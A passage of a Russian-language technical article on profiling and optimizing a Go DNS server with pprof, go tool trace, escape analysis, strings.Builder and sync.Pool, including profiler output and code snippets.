0.36+177/81/7.8+0.63 ms cpu, 79->84->55 MB, 90 MB goal, 12 P gc 32 @3.858s 3%: 0.026+34+0.024 ms clock, 0.32+234/104/0+0.29 ms cpu, 96->100->65 MB, 110 MB goal, 12 P gc 33 @3.954s 3%: 0.026+44+0.13 ms clock, 0.32+191/131/57+1.6 ms cpu, 117->123->79 MB, 131 MB goal, 12 P gc 34 @4.077s 4%: 0.010+53+0.024 ms clock, 0.12+241/159/69+0.29 ms cpu, 142->147->91 MB, 158 MB goal, 12 P gc 35 @4.228s 5%: 0.017+61+0.12 ms clock, 0.20+296/179/94+1.5 ms cpu, 166->174->105 MB, 182 MB goal, 12 P gc 36 @4.391s 6%: 0.017+73+0.086 ms clock, 0.21+492/216/4.0+1.0 ms cpu, 191->198->122 MB, 210 MB goal, 12 P gc 37 @4.590s 7%: 0.049+85+0.095 ms clock, 0.59+618/253/0+1.1 ms cpu, 222->230->140 MB, 244 MB goal, 12 P . . . ``` Как мы здесь видим, объем используемой памяти увеличивается, также увеличивается и количество времени, необходимое gc для выполнения своей работы. Это означает, что мы потребляем больше памяти, чем он может обработать. Больше о `GODEBUG` и некоторых других переменных среды golang можно узнать [здесь](https://dave.cheney.net/tag/godebug). #### Включение профилировщика `go tool pprof` — инструмент для анализа и профилирования данных. Есть два способа настроить `pprof`: либо напрямую вызывать функции `runtime/pprof` в вашем коде, например `pprof.StartCPUProfile()`, либо установить `net/http/pprof` http-листнер и получать оттуда данные, что мы и сделали. У `pprof` очень маленькое ресурсопотребление, поэтому его можно безопасно использовать в разработке, но эндпоинт профиля не должен быть публично доступен, поскольку могут быть раскрыты конфиденциальные данные. Все, что нам нужно сделать для второго варианта, это импортировать пакет *«net/http/pprof»*: ``` import ( _ "net/http/pprof" ) ``` затем добавить http-листнер: ``` go func() { log.Println(http.ListenAndServe("localhost:6060", nil)) }() ``` У pprof есть несколько профилей по умолчанию: * **allocs**: выборка всех прошлых распределений памяти * **block**: трассировка стека, которая привела к блокировке примитивов синхронизации * **goroutine**: трассировка стека всех текущих горутин * **heap**: выборка выделений памяти живых объектов. * **mutex**: трассировка стека держателей конфликтующих мьютексов * **profile**: профиль процессора. * **threadcreate**: трассировка стека, которая привела к созданию новых потоков в ОС * **trace**: трассировка выполнения текущей программы. > Примечание: эндпоинт трассировки, в отличие от всех других эндпоинтов, является профилем *трассировки*, а не *pprof*, вы можете просмотреть его, используя go tool trace вместо `go tool pprof`. Теперь, когда все подготовлено, мы можем посмотреть на доступные инструменты. #### Профилировщик процессора ``` ‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍$ go tool pprof http://localhost:6060/debug/pprof/profile?seconds=10 ``` Профилировщик процессора по умолчанию работает в течение 30 секунд (мы можем изменить это, задав параметр `seconds`) и собирает выборки каждые 100 миллисекунд, после чего он переходит в интерактивный режим. Наиболее распространенными из доступных команд являются `top`, `list`, `web`. Используйте `top n` для просмотра самых горячих записей в текстовом формате, также есть две опции для сортировки вывода, `-cum` для кумулятивного порядка и `-flat`. ``` (pprof) top 10 -cum Showing nodes accounting for 1.50s, 6.19% of 24.23s total Dropped 347 nodes (cum <= 0.12s) Showing top 10 nodes out of 186 flat flat% sum% cum cum% 0.03s 0.12% 0.12% 16.7s 69.13% (*Server).serveUDPPacket 0.05s 0.21% 0.33% 15.6s 64.51% (*Server).serveDNS 0 0% 0.33% 14.3s 59.10% (*ServeMux).ServeDNS 0 0% 0.33% 14.2s 58.73% HandlerFunc.ServeDNS 0.01s 0.04% 0.37% 14.2s 58.73% main.handleRequest 0.07s 0.29% 0.66% 13.5s 56.00% (*DnsRequestHandler).HandleRequest 0.99s 4.09% 4.75% 7.56s 31.20% runtime.gentraceback 0.02s 0.08% 4.83% 7.02s 28.97% runtime.systemstack 0.31s 1.28% 6.11% 6.62s 27.32% runtime.mallocgc 0.02s 0.08% 6.19% 6.35s 26.21% (*DnsRequestHandler).FindANAME (pprof) ``` используйте `list`, чтобы исследовать функцию. ``` (pprof) list handleRequest Total: 24.23s ROUTINE ======================== main.handleRequest in /home/arash/go/src/arvancloud/redins/redins.go 10ms 14.23s (flat, cum) 58.73% of Total . . 35: l *handler.RateLimiter . . 36: configFile string . . 37:) . . 38: . . 39:func handleRequest(w dns.ResponseWriter, r *dns.Msg) { 10ms 610ms 40: context := handler.NewRequestContext(w, r) . 50ms 41: logger.Default.Debugf("handle request: [%d] %s %s", r.Id, context.RawName(), context.Type()) . . 42: . . 43: if l.CanHandle(context.IP()) { . 13.57s 44: h.HandleRequest(context) . . 45: } else { . . 46: context.Response(dns.RcodeRefused) . . 47: } . . 48:} . . 49: (pprof) ``` Команда `web` генерирует SVG-график критических участков и открывает его в браузере. `(pprof)web handleReques` ![](https://habrastorage.org/r/w1560/webt/bt/hi/di/bthidimalsguoeg_obuzzmzy7ro.png) Большое количество времени, проводимого в функциях GC, таких как `runtime.mallocgc`, часто приводит к значительному выделению памяти, что может добавить нагрузки на сборщик мусора и увеличить задержку. Большое количество времени, затрачиваемое на механизмы синхронизации, такие как `runtime.chansend` или `runtime.lock`, может быть признаком конфликта. Большое количество времени, затрачиваемое на `syscall.Read/Write` означает чрезмерное использование операций ввода-вывода. #### Профилировщик памяти ``` $ go tool pprof http://localhost:6060/debug/pprof/allocs ``` По умолчанию он показывает время жизни выделенной памяти. Мы можем увидеть количество выделенных объектов, используя `-alloc_objects`, другие полезные опции: `-iuse_objects` и `-inuse_space` для проверки *живой* памяти. Обычно, если вы хотите уменьшить потребление памяти, вам нужно посмотреть на `-inuse_space`, но если вы хотите уменьшить задержку, посмотрите на `-alloc_objects` после достаточного времени выполнения/загрузки. #### Выявление узкого места Важно сначала определить тип узкого места (процессор, ввод/вывод, память), с которым мы имеем дело. Помимо профилировщиков, есть еще один вид инструментов. `go tool trace` может показать, что горутины делают в деталях. Чтобы собрать пример трассировки, нам нужно отправить http запрос на эндпоинт трассировки: ``` $ curl http://localhost:6060/debug/pprof/trace?seconds=5 --output trace.out ``` Сгенерированный файл можно просмотреть с помощью инструмента трассировки: ``` $ go tool trace trace.out 2019/12/25 15:30:50 Parsing trace... 2019/12/25 15:30:59 Splitting trace... 2019/12/25 15:31:10 Opening browser. Trace viewer is listening on http://127.0.0.1:42703 ``` Go tool trace — это веб-приложение, которое использует протокол Chrome DevTools и совместимо только с браузерами Chrome. Главная страница выглядит примерно так: [View trace (0s-409.575266ms)](http://127.0.0.1:42703/trace?start=0&end=1002182) [View trace (411.075559ms-747.252311ms)](http://127.0.0.1:42703/trace?start=1002182&end=2000009) [View trace (747.252311ms-1.234968945s)](http://127.0.0.1:42703/trace?start=2000009&end=2994454) [View trace (1.234968945s-1.774245108s)](http://127.0.0.1:42703/trace?start=2994454&end=3990349) [View trace (1.774245484s-2.111339514s)](http://127.0.0.1:42703/trace?start=3990349&end=4998414) [View trace (2.111339514s-2.674030898s)](http://127.0.0.1:42703/trace?start=4998414&end=5994557) [View trace (2.674031362s-3.044145798s)](http://127.0.0.1:42703/trace?start=5994557&end=6980207) [View trace (3.044145798s-3.458795252s)](http://127.0.0.1:42703/trace?start=6980207&end=7955112) [View trace (3.43953778s-4.075080634s)](http://127.0.0.1:42703/trace?start=7955112&end=8917871) [View trace (4.075081098s-4.439271287s)](http://127.0.0.1:42703/trace?start=8917871&end=9878421) [View trace (4.439271635s-4.814869651s)](http://127.0.0.1:42703/trace?start=9878421&end=10847838) [View trace (4.814869651s-5.253597835s)](http://127.0.0.1:42703/trace?start=10847838&end=11181263) [Goroutine analysis](http://127.0.0.1:42703/goroutines) [Network blocking profile ()](http://127.0.0.1:42703/io) [Synchronization blocking profile ()](http://127.0.0.1:42703/block) [Syscall blocking profile ()](http://127.0.0.1:42703/syscall) [Scheduler latency profile ()](http://127.0.0.1:42703/sched) [User-defined tasks](http://127.0.0.1:42703/usertasks) [User-defined regions](http://127.0.0.1:42703/userregions) [Minimum mutator utilization](http://127.0.0.1:42703/mmu) Трассировка разделяет время трассировки, чтобы ваш браузер мог справиться с этим ![](https://habrastorage.org/r/w1560/webt/xx/xa/pf/xxxapfdolkivu1jce6axclwsmqg.png) Здесь огромное множество данных, что делает их практически нечитаемыми, если мы не знаем что ищем. Давайте пока оставим это. Следующая ссылка на главной странице — *«goroutine analysis»*, который показывает различные *виды* работающих горутин в программе в течение периода трассировки: ``` Goroutines: github.com/miekg/dns.(*Server).serveUDPPacket N=441703 runtime.gcBgMarkWorker N=12 github.com/karlseguin/ccache.(*Cache).worker N=2 main.Start.func1 N=1 runtime.bgsweep N=1 arvancloud/redins/handler.NewHandler.func2 N=1 runtime/trace.Start.func1 N=1 net/http.(*conn).serve N=1 runtime.timerproc N=3 net/http.(*connReader).backgroundRead N=1 N=40 ``` Нажмите на первый элемент с **N = 441703**, вот что мы получим: ![](https://habrastorage.org/r/w1560/webt/dh/lt/qy/dhltqyepbyyuk_i7tcadrdyx_gs.png) *анализ горутин* Это очень интересно. Большинство операций практически не тратят времени на выполнение, а большую часть времени проводят в блоке Sync. Давайте подробнее рассмотрим одну из них: ![](https://habrastorage.org/r/w1560/webt/tu/bs/vt/tubsvt8trkqhgjrfpjijolibof4.png) *схема трассировки горутин* Похоже, наша программа почти всегда неактивна. Отсюда мы можем перейти непосредственно к инструменту блокировки; профилирование блокировки по умолчанию отключено, нам нужно сначала включить его в нашем коде: ``` runtime.SetBlockProfileRate(1) ``` Теперь мы можем получить выборку блокировок: ``` $ go tool pprof http://localhost:6060/debug/pprof/block (pprof) top Showing nodes accounting for 16.03wks, 99.75% of 16.07wks total Dropped 87 nodes (cum <= 0.08wks) Showing top 10 nodes out of 27 flat flat% sum% cum cum% 10.78wks 67.08% 67.08% 10.78wks 67.08% internal/poll.(*fdMutex).rwlock 5.25wks 32.67% 99.75% 5.25wks 32.67% sync.(*Mutex).Lock 0 0% 99.75% 5.25wks 32.67% arvancloud/redins/handler.(*DnsRequestHandler).Filter 0 0% 99.75% 5.25wks 32.68% arvancloud/redins/handler.(*DnsRequestHandler).FindANAME 0 0% 99.75% 16.04wks 99.81% arvancloud/redins/handler.(*DnsRequestHandler).HandleRequest 0 0% 99.75% 10.78wks 67.08% arvancloud/redins/handler.(*DnsRequestHandler).Response 0 0% 99.75% 10.78wks 67.08% arvancloud/redins/handler.(*RequestContext).Response 0 0% 99.75% 5.25wks 32.67% arvancloud/redins/handler.ChooseIp 0 0% 99.75% 16.04wks 99.81% github.com/miekg/dns.(*ServeMux).ServeDNS 0 0% 99.75% 16.04wks 99.81% github.com/miekg/dns.(*Server).serveDNS (pprof) ``` Здесь у нас есть две разные блокировки (*poll.fdMutex и sync.Mutex*), отвечающие почти за 100% блокировок. Это подтверждает наше предположение о конфликте блокировок, теперь нам нужно только найти, где это происходит: ``` (pprof) svg lock ``` Эта команда создает векторный граф всех узлов, учитывающих конфликты, с упором на функции блокировки: ![](https://habrastorage.org/r/w1560/webt/in/m4/zu/inm4zuykw5uum0vydotfudr48d0.png) *svg-график эндпонта блокировки* мы можем получить тот же результат из эндпоинта горутины: ``` $ go tool pprof http://localhost:6060/debug/pprof/goroutine ``` и затем: ``` (pprof) top Showing nodes accounting for 294412, 100% of 294424 total Dropped 84 nodes (cum <= 1472) Showing top 10 nodes out of 32 flat flat% sum% cum cum% 294404 100% 100% 294404 100% runtime.gopark 8 0.0027% 100% 294405 100% github.com/miekg/dns.(*Server).serveUDPPacket 0 0% 100% 58257 19.79% arvancloud/redins/handler.(*DnsRequestHandler).Filter 0 0% 100% 58259 19.79% arvancloud/redins/handler.(*DnsRequestHandler).FindANAME 0 0% 100% 293852 99.81% arvancloud/redins/handler.(*DnsRequestHandler).HandleRequest 0 0% 100% 235406 79.95% arvancloud/redins/handler.(*DnsRequestHandler).Response 0 0% 100% 235406 79.95% arvancloud/redins/handler.(*RequestContext).Response 0 0% 100% 58140 19.75% arvancloud/redins/handler.ChooseIp 0 0% 100% 293852 99.81% github.com/miekg/dns.(*ServeMux).ServeDNS 0 0% 100% 293900 99.82% github.com/miekg/dns.(*Server).serveDNS (pprof) ``` почти все наши программы находятся в runtime.gopark, это планировщик go, усыпляющий горутины; очень распространенная причина этого — конфликт блокировок ``` (pprof) svg gopark ``` ![](https://habrastorage.org/r/w1560/webt/-r/r6/pe/-rr6peofee7fshmvot6rb3usrjs.png) *svg-график конечной точки горутин* Здесь мы видим два источника конфликтов: UDPConn.WriteMsg() ------------------ Похоже, что все ответы заканчиваются записью на один и тот же FD (отсюда и блокировка), это имеет смысл, поскольку все они имеют один и тот же адрес источника. Мы провели небольшой эксперимент с различными решениями, и в конце решили использовать несколько листнеров для балансировки нагрузки. Таким образом, мы позволяем ОС балансировать входящие запросы между различными соединениями и уменьшать конфликты. Rand() ------ Похоже, что в обычных math/rand функциях есть блокировка (подробнее об этом [здесь](https://blog.sgmansfield.com/2016/01/the-hidden-dangers-of-default-rand/)). Это можно легко исправить с помощью `Rand.New()`, который создает генератор случайных чисел без блокировочной обертки ``` rg := rand.New(rand.NewSource(int64(time.Now().Nanosecond()))) ``` Это немного лучше, но создавать новый источник каждый раз дорого. Можно ли сделать еще лучше? В нашем случае нам действительно не нужно случайное число. Нам просто нужно равномерное распределение для балансировки нагрузки, и получается, что `Time.Nanoseconds()` может нам подойти. Теперь, когда мы устранили все лишние блокировки, давайте посмотрим на результаты: ![](https://habrastorage.org/r/w1560/webt/oq/aw/76/oqaw76gy7k0jxwro9moeo8e374s.png) *анализ горутин* Выглядит лучше, но все же большая часть времени уходит на блокировку синхронизации. Давайте посмотрим на профиль блокировки синхронизации с главной страницы пользовательского интерфейса трассировки: ![](https://habrastorage.org/r/w1560/webt/k4/1y/ky/k41yky-okraevi6-huriop7-g2i.png) *график времени блокировки синхронизации* Давайте взглянем на функцию повышения `ccache` с конечной точки блокировки `pprof`: ``` (pprof) list promote ROUTINE ======================== github.com/karlseguin/ccache.(*Cache).promote in ... 0 9.66days (flat, cum) 99.70% of Total . . 155: h.Write([]byte(key)) . . 156: return c.buckets[h.Sum32()&c.bucketMask] . . 157:} . . 158: . . 159:func (c *Cache) promote(item *Item) { . 9.66days 160: c.promotables <- item . . 161:} . . 162: . . 163:func (c *Cache) worker() { . . 164: defer close(c.donec) . . 165: ``` Все вызовы `ccache.Get()` заканчиваются отправкой на один канал `c.promotables`. Кэширование является важной частью нашего сервиса, мы должны рассмотреть другие варианты; У [Dgraph](https://github.com/dgraph-io/dgraph) есть отличная статья о [состоянии кэша в go](https://blog.dgraph.io/post/caching-in-go/), у них также есть отличный модуль кэширования под названием [ristretto](https://github.com/dgraph-io/ristretto). К сожалению, ristretto пока не поддерживает высвобождение на основе Ttl, мы могли бы обойти эту проблему, используя очень большой `MaxCost` и сохранив значение тайм-аута в нашей структуре кэша (мы хотим сохранить устаревшие данные в кэше). Давайте посмотрим результат при использовании ristretto: ![](https://habrastorage.org/r/w1560/webt/ho/k2/ay/hok2ay6emv_agqfuv-y65sxkius.png) *анализ горутин* Отлично! Нам удалось сократить максимальное время выполнения горутины с 5000 мс до 22 мс. Тем не менее, большая часть времени выполнения делится между «блокировкой синхронизации» и «ожиданием планировщика». Давайте посмотрим, сможем ли мы что-нибудь с этим сделать: ![](https://habrastorage.org/r/w1560/webt/s3/8u/qh/s38uqh-knc7gmandd1erhgelmrs.png) *график времени блокировки синхронизации* Мы мало что можем сделать с `fdMutex.rwlock`, теперь давайте сосредоточимся на другом: gcMarkDone, который отвечает за 53% времени блока. Эта функция является частью процесса сбора мусора. Их наличие в критическом участке часто является признаком того, что мы перегружаем gc. ### оптимизация аллокаций На этом этапе может быть полезно посмотреть, как работает сборка мусора; Go использует mark-and-sweep сборщик. Он отслеживает все, что выделено, и как только он достигает в два раза большего (или любого другого значения, на которое установлено GOGC) размера от предыдущего размера, запускается очистка GC. Оценка происходит в три этапа: * Установка маркера (STW) * Маркировка (параллельно) * Окончание маркировки (STW) Фазы «Остановить мир» (Stop The World, STW) останавливают весь процесс, хотя они, как правило, очень короткие, сплошные циклы могут увеличить продолжительность. Это потому, что в настоящее время (go v1.13) горутины являются вытесняемыми только в точках вызова функции, поэтому для сплошного цикла возможно произвольно большое время паузы, поскольку GC ожидает остановки всех горутин. Во время маркировки gc использует около 25% `GOMAXPROCS`, но дополнительные вспомогательные функции могут быть принудительно добавлены в **mark assist**, это происходит, когда быстро выделяющаяся горутина опережает фоновый маркер, чтобы уменьшить задержку, вызванную gc, нам нужно минимизировать использование кучи. Следует отметить две вещи: * количество выделений имеет большее значение, чем размер (например, 1000 выделений памяти из 20-байтовой структуры создают гораздо больше нагрузки на кучу, чем одно выделение 20000 байтов); * в отличие от таких языков, как C/C++, не все выделения памяти оказываются в куче. Компилятор go решает, будет ли переменная перемещаться в кучу или она может быть размещена внутри фрейма стека. В отличие от переменных, размещаемых в куче, переменные, выделенные в стеке, не нагружают gc. Для получения дополнительной информации о модели памяти Go и архитектуры GC смотрите эту [презентацию](https://www.youtube.com/watch?v=M0HER1G5BRw). для оптимизации выделения памяти мы используем набор инструментов go: * профилировщик процессора, чтобы найти горячие распределения; * профилировщик памяти для отслеживания выделений; * трассировщик для паттернов; GC * escape-анализ, чтобы выяснить, почему происходит аллокация. Давайте начнем с профилировщика процессора: ``` $ go tool pprof http://localhost:6060/debug/pprof/profile?seconds=20 (pprof) top 20 -cum Showing nodes accounting for 7.27s, 29.10% of 24.98s total Dropped 315 nodes (cum <= 0.12s) Showing top 20 nodes out of 201 flat flat% sum% cum cum% 0 0% 0% 16.42s 65.73% github.com/miekg/dns.(*Server).serveUDPPacket 0.02s 0.08% 0.08% 16.02s 64.13% github.com/miekg/dns.(*Server).serveDNS 0.02s 0.08% 0.16% 13.69s 54.80% github.com/miekg/dns.(*ServeMux).ServeDNS 0.01s 0.04% 0.2% 13.48s 53.96% github.com/miekg/dns.HandlerFunc.ServeDNS 0.02s 0.08% 0.28% 13.47s 53.92% main.handleRequest 0.24s 0.96% 1.24% 12.50s 50.04% arvancloud/redins/handler.(*DnsRequestHandler).HandleRequest 0.81s 3.24% 4.48% 6.91s 27.66% runtime.gentraceback 3.82s 15.29% 19.78% 5.48s 21.94% syscall.Syscall 0.02s 0.08% 19.86% 5.44s 21.78% arvancloud/redins/handler.(*DnsRequestHandler).Response 0.06s 0.24% 20.10% 5.25s 21.02% arvancloud/redins/handler.(*RequestContext).Response 0.03s 0.12% 20.22% 4.97s 19.90% arvancloud/redins/handler.(*DnsRequestHandler).FindANAME 0.56s 2.24% 22.46% 4.92s 19.70% runtime.mallocgc 0.07s 0.28% 22.74% 4.90s 19.62% github.com/miekg/dns.(*response).WriteMsg 0.04s 0.16% 22.90% 4.40s 17.61% github.com/miekg/dns.(*response).Write 0.01s 0.04% 22.94% 4.36s 17.45% github.com/miekg/dns.WriteToSessionUDP 1.43s 5.72% 28.66% 4.30s 17.21% runtime.pcvalue 0.01s 0.04% 28.70% 4.15s 16.61% runtime.newstack 0.06s 0.24% 28.94% 4.09s 16.37% runtime.copystack 0.01s 0.04% 28.98% 4.05s 16.21% net.(*UDPConn).WriteMsgUDP 0.03s 0.12% 29.10% 4.04s 16.17% net.(*UDPConn).writeMsg ``` Нас особенно интересуют функции, связанные с `mallocgc`, именно здесь происходит помощь с метками ``` (pprof) svg mallocgc ``` ![](https://habrastorage.org/r/w1560/webt/kz/yw/mb/kzywmb1pzaiw3x2h4aprdtzvl9c.png) Мы можем отслеживать распределение, используя конечную точку `alloc`, опция `alloc_object` означает общее количество аллокаций, есть и другие варианты использования памяти и пространства выделения. ``` $ go tool pprof -alloc_objects http://localhost:6060/debug/pprof/allocs (pprof) top -cum Active filters: show=handler Showing nodes accounting for 58464353, 59.78% of 97803168 total Dropped 1 node (cum <= 489015) Showing top 10 nodes out of 19 flat flat% sum% cum cum% 15401215 15.75% 15.75% 70279955 71.86% arvancloud/redins/handler.(*DnsRequestHandler).HandleRequest 2392100 2.45% 18.19% 27198697 27.81% arvancloud/redins/handler.(*DnsRequestHandler).FindANAME 711174 0.73% 18.92% 14936976 15.27% arvancloud/redins/handler.(*DnsRequestHandler).Filter 0 0% 18.92% 14161410 14.48% arvancloud/redins/handler.(*DnsRequestHandler).Response 14161410 14.48% 33.40% 14161410 14.48% arvancloud/redins/handler.(*RequestContext).Response 7284487 7.45% 40.85% 11118401 11.37% arvancloud/redins/handler.NewRequestContext 10439697 10.67% 51.52% 10439697 10.67% arvancloud/redins/handler.reverseZone 0 0% 51.52% 10371430 10.60% arvancloud/redins/handler.(*DnsRequestHandler).FindZone 2680723 2.74% 54.26% 8022046 8.20% arvancloud/redins/handler.(*GeoIp).GetSameCountry 5393547 5.51% 59.78% 5393547 5.51% arvancloud/redins/handler.(*DnsRequestHandler).LoadLocation ``` С этого момента мы можем использовать list для каждой функции и посмотреть, сможем ли мы уменьшить выделение памяти. Давайте проверим: **printf-подобные функции** ``` (pprof) list handleRequest Total: 97803168 ROUTINE ======================== main.handleRequest in /home/arash/go/src/arvancloud/redins/redins.go 2555943 83954299 (flat, cum) 85.84% of Total . . 35: l *handler.RateLimiter . . 36: configFile string . . 37:) . . 38: . . 39:func handleRequest(w dns.ResponseWriter, r *dns.Msg) { . 11118401 40: context := handler.NewRequestContext(w, r) 2555943 2555943 41: logger.Default.Debugf("handle request: [%d] %s %s", r.Id, context.RawName(), context.Type()) . . 42: . . 43: if l.CanHandle(context.IP()) { . 70279955 44: h.HandleRequest(context) . . 45: } else { . . 46: context.Response(dns.RcodeRefused) . . 47: } . . 48:} . . 49: ``` Строка 41 особенно интересна, даже когда отладка отключена, там все еще выделяется память, мы можем использовать escape-анализ, чтобы исследовать ее подробнее. Инструмент Escape-анализа Go на самом деле флаг компилятора ``` $ go build -gcflags '-m' ``` Вы можете добавить другой -m для получения дополнительной информации ``` $ go build -gcflags '-m ' ``` для более удобного интерфейса используйте [view-annotated-file](https://github.com/loov/view-annotated-file). ``` $ go build -gcflags '-m' . . . ../redins.go:39:20: leaking param: w ./redins.go:39:42: leaking param: r ./redins.go:41:55: r.MsgHdr.Id escapes to heap ./redins.go:41:75: context.RawName() escapes to heap ./redins.go:41:91: context.Request.Type() escapes to heap ./redins.go:41:23: handleRequest []interface {} literal does not escape ./redins.go:219:17: leaking param: path . . . ``` Здесь все параметры `Debugf` уходят в кучу. Это происходит из-за способа определения `Debugf`: ``` func (l *EventLogger) Debugf(format string, args ...interface{}) ``` Все параметры `args` преобразуются в тип `interface{}`, который всегда сбрасывается в кучу. Мы можем либо удалить журналы отладки, либо использовать библиотеку журналов с нулевым распределением, например, [zerolog](https://github.com/rs/zerolog). Для получения дополнительной информации об escape- анализе см. [«allocation eficiency in golang»](https://segment.com/blog/allocation-efficiency-in-high-performance-go-services/). **Работа со строками** ``` (pprof) list reverseZone Total: 100817064 ROUTINE ======================== arvancloud/redins/handler.reverseZone in /home/arash/go/src/arvancloud/redins/handler/handler.go 6127746 10379086 (flat, cum) 10.29% of Total . . 396: logger.Default.Warning("log queue is full") . . 397: } . . 398:} . . 399: . . 400:func reverseZone(zone string) string { . 4251340 401: x := strings.Split(zone, ".") . . 402: var y string . . 403: for i := len(x) - 1; i >= 0; i-- { 6127746 6127746 404: y += x[i] + "." . . 405: } . . 406: return y . . 407:} . . 408: . . 409:func (h *DnsRequestHandler) LoadZones() { (pprof) ``` Поскольку строка в Go является неизменяемой, создание временной строки вызывает выделение памяти. Начиная с Go 1.10, можно использовать `strings.Builder` для создания строки. ``` (pprof) list reverseZone Total: 93437002 ROUTINE ======================== arvancloud/redins/handler.reverseZone in /home/arash/go/src/arvancloud/redins/handler/handler.go 0 7580611 (flat, cum) 8.11% of Total . . 396: logger.Default.Warning("log queue is full") . . 397: } . . 398:} . . 399: . . 400:func reverseZone(zone string) string { . 3681140 401: x := strings.Split(zone, ".") . . 402: var sb strings.Builder . 3899471 403: sb.Grow(len(zone)+1) . . 404: for i := len(x) - 1; i >= 0; i-- { . . 405: sb.WriteString(x[i]) . . 406: sb.WriteByte('.') . . 407: } . . 408: return sb.String() ``` Поскольку нас не волнует значение перевернутой строки, мы можем устранить `Split()`, просто перевернув всю строку. ``` (pprof) list reverseZone Total: 89094296 ROUTINE ======================== arvancloud/redins/handler.reverseZone in /home/arash/go/src/arvancloud/redins/handler/handler.go 3801168 3801168 (flat, cum) 4.27% of Total . . 400:func reverseZone(zone string) []byte { . . 401: runes := []rune("." + zone) . . 402: for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 { . . 403: runes[i], runes[j] = runes[j], runes[i] . . 404: } 3801168 3801168 405: return []byte(string(runes)) . . 406:} . . 407: . . 408:func (h *DnsRequestHandler) LoadZones() { . . 409: h.LastZoneUpdate = time.Now() . . 410: zones, err := h.Redis.SMembers("redins:zones") ``` Прочитать подробнее о работе со строками можно [здесь](https://go101.org/article/string.html). ### sync.Pool ``` (pprof) list GetASN Total: 69005282 ROUTINE ======================== arvancloud/redins/handler.(*GeoIp).GetASN in /home/arash/go/src/arvancloud/redins/handler/geoip.go 1146897 1146897 (flat, cum) 1.66% of Total . . 231:func (g *GeoIp) GetASN(ip net.IP) (uint, error) { 1146897 1146897 232: var record struct { . . 233: AutonomousSystemNumber uint `maxminddb:"autonomous_system_number"` . . 234: } . . 235: err := g.ASNDB.Lookup(ip, &record) . . 236: if err != nil { . . 237: logger.Default.Errorf("lookup failed : %s", err) (pprof) list GetGeoLocation Total: 69005282 ROUTINE ======================== arvancloud/redins/handler.(*GeoIp).GetGeoLocation in /home/arash/go/src/arvancloud/redins/handler/geoip.go 1376298 3604572 (flat, cum) 5.22% of Total . . 207: . . 208:func (g *GeoIp) GetGeoLocation(ip net.IP) (latitude float64, longitude float64, country string, err error) { . . 209: if !g.Enable || g.CountryDB == nil { . . 210: return . . 211: } 1376298 1376298 212: var record struct { . . 213: Location struct { . . 214: Latitude float64 `maxminddb:"latitude"` . . 215: LongitudeOffset uintptr `maxminddb:"longitude"` . . 216: } `maxminddb:"location"` . . 217: Country struct { . . 218: ISOCode string `maxminddb:"iso_code"` . . 219: } `maxminddb:"country"` . . 220: } . . 221: // logger.Default.Debugf("ip : %s", ip) . . 222: if err := g.CountryDB.Lookup(ip, &record); err != nil { . . 223: logger.Default.Errorf("lookup failed : %s", err) . . 224: return 0, 0, "", err . . 225: } . 2228274 226: _ = g.CountryDB.Decode(record.Location.LongitudeOffset, &longitude) . . 227: // logger.Default.Debug("lat = ", record.Location.Latitude, " lang = ", longitude, " country = ", record.Country.ISOCode) . . 228: return record.Location.Latitude, longitude, record.Country.ISOCode, nil . . 229:} . . 230: . . 231:func (g *GeoIp) GetASN(ip net.IP) (uint, error) { ``` Мы используем функции [maxmiddb](http://github.com/oschwald/maxminddb-golang) для получения данных геолокации. Эти функции принимают `interface{}` в качестве параметров, которые, как мы видели ранее, могут вызывать побеги кучи. мы можем использовать `sync.Pool` для кэширования выделенных, но неиспользуемых элементов для последующего повторного использования. ``` type MMDBGeoLocation struct { Coordinations struct { Latitude float64 `maxminddb:"latitude"` Longitude float64 LongitudeOffset uintptr `maxminddb:"longitude"` } `maxminddb:"location"` Country struct { ISOCode string `maxminddb:"iso_code"` } `maxminddb:"country"` } type MMDBASN struct { AutonomousSystemNumber uint `maxminddb:"autonomous_system_number"` } func (g *GeoIp) GetGeoLocation(ip net.IP) (*MMDBGeoLocation, error) { if !g.Enable || g.CountryDB == nil { return nil, EMMDBNotAvailable } var record *MMDBGeoLocation = g.LocationPool.Get().(*MMDBGeoLocation) logger.Default.Debugf("ip : %s", ip) if err := g.CountryDB.Lookup(ip, &record); err != nil { logger.Default.Errorf("lookup failed : %s", err) return nil, err } _ = g.CountryDB.Decode(record.Coordinations.LongitudeOffset, &record.Coordinations.Longitude) logger.Default.Debug("lat = ", record.Coordinations.Latitude, " lang = ", record.Coordinations.Longitude, " country = ", record.Country.ISOCode) return record, nil } func (g *GeoIp) GetASN(ip net.IP) (uint, error) { var record *MMDBASN = g.AsnPool.Get().(*MMDBASN) err := g.ASNDB.Lookup(ip, record) if err != nil { logger.Default.Errorf("lookup failed : %s", err) return 0, err } logger.Default.Debug("asn = ", record.AutonomousSystemNumber) return record.AutonomousSystemNumber, nil } ``` Больше о sync.Pool [здесь](https://medium.com/a-journey-with-go/go-understand-the-design-of-sync-pool-2dde3024e277). Есть много других возможных оптимизаций, но на данный момент, кажется, мы уже сделали достаточно. Для получения дополнительной информации о методах оптимизации памяти, можете прочитать [Allocation efficiency in high-performance Go services](https://segment.com/blog/allocation-efficiency-in-high-performance-go-services/). ### Результаты Чтобы визуализировать результаты оптимизации памяти, мы используем диаграмму в `go tool trace` под названием «Minimum Mutator Utilization», здесь Mutator означает не gc. До оптимизации: ![](https://habrastorage.org/r/w1560/webt/k5/og/yd/k5ogydpov-6tpkxmulro0f8tkic.png) Здесь у нас есть окно около 500 миллисекунд без эффективного использования (gc потребляет все ресурсы), и мы никогда не получим 80% эффективного использования в долгосрочной перспективе. Мы хотим, чтобы окно нулевого эффективного использования было как можно меньше, и максимально быстро достигать 100% использования, как-то так: после оптимизации: ![](https://habrastorage.org/r/w1560/webt/6e/bt/5k/6ebt5k70pm7ufao23uln7b5dcgq.png) ### Вывод С помощью инструментов go нам удалось оптимизировать наш сервис для обработки большого количества запросов и лучшего использования системных ресурсов. Вы можете посмотреть наш исходный код на [GitHub](https://github.com/hawell/redins). [Вот](https://github.com/hawell/redins/tree/e35a797e51b7a9e27683d2cde1fbd80f6381f89e) неоптимизированная версия и [вот](https://github.com/hawell/redins/tree/17682bfca4b5eb2469db342fa2512f335dee15a8) оптимизированная. ### Также будет полезно * [go perfbook](https://github.com/dgryski/go-perfbook) * [effective go](https://golang.org/doc/effective_go.html) * [so you wanna go fast](https://bravenewgeek.com/so-you-wanna-go-fast/) * [writing high performace 